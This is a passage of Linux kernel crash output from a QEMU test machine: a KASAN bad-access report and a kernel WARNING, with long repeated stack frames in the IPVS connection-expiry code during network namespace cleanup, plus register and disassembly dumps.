net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079649] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079651] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079653] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079655] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079658] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079660] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079662] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079664] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079667] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079669] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079671] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079673] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079675] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079678] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079680] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079682] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079684] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079687] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079689] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079691] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079693] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079696] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079698] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079700] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079702] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079704] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079707] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079709] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079711] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079713] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079715] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079718] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079720] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079722] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079724] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079727] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079729] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079731] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079733] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079736] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079738] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079740] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079742] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079744] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079747] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079749] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079751] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079753] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079756] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079758] ? arch_stack_walk (arch/x86/include/asm/unwind.h:64 arch/x86/kernel/stacktrace.c:24) [ 59.079760] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079762] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079765] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079767] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079769] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079771] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079774] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079776] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079778] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079780] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079782] ? ext4_writepages (fs/ext4/inode.c:3032) [ 59.079786] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079788] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079790] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079792] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079794] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079797] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079799] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079801] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079803] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079806] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079808] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079810] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079812] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079814] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079817] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079819] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079821] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079823] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079826] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079828] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079830] ? addrconf_notify (net/ipv6/addrconf.c:3812) [ 59.079833] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079835] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079837] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079839] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079841] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079844] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079846] ? __pfx_sched_balance_find_src_group (kernel/sched/fair.c:11815) [ 59.079849] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079851] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079853] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079856] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079858] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079860] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079862] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079864] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079867] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079869] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079871] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079873] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079876] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079878] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079880] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079882] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079884] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079887] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079889] ? __flush_work (include/linux/rcupdate.h:882 kernel/workqueue.c:4389 kernel/workqueue.c:4403) [ 59.079891] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.079893] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.079896] ? ip_vs_conn_net_cleanup (net/netfilter/ipvs/ip_vs_conn.c:1329 net/netfilter/ipvs/ip_vs_conn.c:1961 net/netfilter/ipvs/ip_vs_conn.c:2099) [ 59.079898] ? __ip_vs_cleanup_batch (net/netfilter/ipvs/ip_vs_core.c:2542) [ 59.079901] ? ops_undo_list (net/core/net_namespace.c:206 net/core/net_namespace.c:253) [ 59.079903] ? __pfx_ops_undo_list (net/core/net_namespace.c:743) [ 59.079905] ? __pfx__raw_spin_lock (kernel/locking/spinlock.c:362) [ 59.079909] ? cleanup_net (net/core/net_namespace.c:706) [ 59.079911] ? __pfx_cleanup_net (include/linux/llist.h:241) [ 59.079913] ? finish_task_switch.isra.0 (kernel/sched/sched.h:1684 (discriminator 1) kernel/sched/sched.h:1697 (discriminator 1) kernel/sched/core.c:5251 (discriminator 1) kernel/sched/core.c:5369 (discriminator 1)) [ 59.079917] ? process_one_work (kernel/workqueue.c:3387) [ 59.079919] ? __pfx___schedule (kernel/sched/core.c:8159 (discriminator 1)) [ 59.079922] ? __pfx_process_one_work (kernel/workqueue.c:4549) [ 59.079924] ? _raw_spin_lock_irq (include/linux/instrumented.h:55 include/linux/atomic/atomic-instrumented.h:1301 include/asm-generic/qspinlock.h:112 include/linux/spinlock.h:188 include/linux/spinlock_api_smp.h:166 kernel/locking/spinlock.c:189) [ 59.079927] ? __pfx_cleanup_net (include/linux/llist.h:241) [ 59.079929] ? assign_work (kernel/workqueue.c:1235) [ 59.079931] ? worker_thread (kernel/workqueue.c:3470 kernel/workqueue.c:3551) [ 59.079933] ? __pfx_worker_thread (include/linux/list.h:264) [ 59.079936] ? kthread (kernel/kthread.c:436) [ 59.079937] ? recalc_sigpending (include/linux/instrumented.h:97 include/asm-generic/bitops/instrumented-atomic.h:41 include/linux/thread_info.h:109 kernel/signal.c:163) [ 59.079940] ? __pfx_kthread (include/linux/list.h:173) [ 59.079941] ? ret_from_fork (arch/x86/kernel/process.c:158) [ 59.079944] ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:328 (discriminator 7)) [ 59.079946] ? __switch_to (include/linux/instrumented.h:82 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/thread_info.h:133 include/linux/sched.h:2102 arch/x86/include/asm/fpu/sched.h:34 arch/x86/kernel/process_64.c:619) [ 59.079949] ? __switch_to_asm (arch/x86/entry/entry_64.S:206) [ 59.079951] ? __pfx_kthread (include/linux/list.h:173) [ 59.079953] ? ret_from_fork_asm (arch/x86/entry/entry_64.S:245) [ 59.079956] [ 59.079957] [ 59.079957] The buggy address belongs to the physical page: [ 59.079959] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x131f [ 59.079961] flags: 0x100000000000000(node=0|zone=1) [ 59.079965] raw: 0100000000000000 ffffea000004c7c8 ffffea000004c7c8 0000000000000000 [ 59.079966] raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000 [ 59.079967] page dumped because: kasan: bad access detected [ 59.079968] [ 59.079969] Memory state around the buggy address: [ 59.079970] ffff88800131fc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 59.079971] ffff88800131fc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 59.079972] >ffff88800131fd00: f1 f1 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 [ 59.079973] ^ [ 59.079975] ffff88800131fd80: 00 00 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 [ 59.079976] ffff88800131fe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 59.079977] ================================================================== [ 59.080241] ------------[ cut here ]------------ [ 59.080243] WARNING: kernel/entry/common.c:143 at raw_irqentry_exit_cond_resched+0x3c/0x50, CPU#0: 0/12 [ 59.240617] Modules linked in: [ 59.240965] CPU: 0 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.2.0-g506c8c29c5e7-dirty #2 PREEMPT(lazy) [ 59.241942] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 59.243054] Workqueue: netns cleanup_net [ 59.243577] RIP: 0010:raw_irqentry_exit_cond_resched (kernel/entry/common.c:143 (discriminator 1) kernel/entry/common.c:137 (discriminator 1)) [ 59.244124] Code: 05 09 53 8a 05 48 29 e0 48 3d ff 7f 00 00 77 19 65 48 8b 05 fe 52 8a 05 48 8b 00 a8 10 75 05 c3 cc cc cc cc e9 35 eb 0b 03 90 <0f> 0b 90 eb e1 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 90 90 All code ======== 0: 05 09 53 8a 05 add $0x58a5309,%eax 5: 48 29 e0 sub %rsp,%rax 8: 48 3d ff 7f 00 00 cmp $0x7fff,%rax e: 77 19 ja 0x29 10: 65 48 8b 05 fe 52 8a mov %gs:0x58a52fe(%rip),%rax # 0x58a5316 17: 05 18: 48 8b 00 mov (%rax),%rax 1b: a8 10 test $0x10,%al 1d: 75 05 jne 0x24 1f: c3 ret 20: cc int3 21: cc int3 22: cc int3 23: cc int3 24: e9 35 eb 0b 03 jmp 0x30beb5e 29: 90 nop 2a:* 0f 0b ud2 <-- trapping instruction 2c: 90 nop 2d: eb e1 jmp 0x10 2f: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) 36: 00 00 00 00 3a: 0f 1f 40 00 nopl 0x0(%rax) 3e: 90 nop 3f: 90 nop Code starting with the faulting instruction =========================================== 0: 0f 0b ud2 2: 90 nop 3: eb e1 jmp 0xffffffffffffffe6 5: 66 66 2e 0f 1f 84 00 data16 cs nopw 0x0(%rax,%rax,1) c: 00 00 00 00 10: 0f 1f 40 00 nopl 0x0(%rax) 14: 90 nop 15: 90 nop [ 59.246288] RSP: 0018:ffff88800131fa48 EFLAGS: 00010012 [ 59.246801] RAX: 00000000000085b8 RBX: 0000000000000000 RCX: ffffffff99b88400 [ 59.247479] RDX: 1ffff1100da06bb3 RSI: 0000000000000000 RDI: ffff88800131fa98 [ 59.248230] RBP: ffff88800131fa88 R08: 0000000000000001 R09: ffffed100da04829 [ 59.248912] R10: ffff88806d02414b R11: fffffffffff2db73 R12: ffff88800131fa98 [ 59.249585] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 59.250682] FS: 0000000000000000(0000) GS:ffff8880cddef000(0000) knlGS:0000000000000000 [ 59.251574] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 59.252137] CR2: 00005644acfb97b8 CR3: 0000000022c70000 CR4: 00000000000006f0 [ 59.252822] Call Trace: [ 59.253078] [ 59.253302] ? kasan_record_aux_stack (mm/kasan/generic.c:556) [ 59.253759] ? __call_rcu_common.constprop.0 (kernel/rcu/tree.c:3181) [ 59.254387] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1403) [ 59.255133] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.255761] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.256199] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.256657] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.257105] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.257567] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.258006] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.258586] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.259034] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.259492] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.259940] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.260406] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.260867] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.261342] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.261790] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.262279] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.262814] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.263293] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.263747] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.264230] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.264742] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.265276] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.265747] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.266261] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.266815] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.267319] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.267787] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.268280] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.268751] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.269230] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.269697] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.270269] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.270856] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.271337] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.271792] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.272271] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.272775] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.273356] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.273812] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.274328] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.274784] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.275468] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.275933] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.276433] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.276905] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.277400] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.277881] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.278395] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.278867] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.279452] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.279924] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.280426] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.280897] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.281401] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.281872] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.282389] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.282860] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.283443] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.283915] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.284411] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.284883] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.285392] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 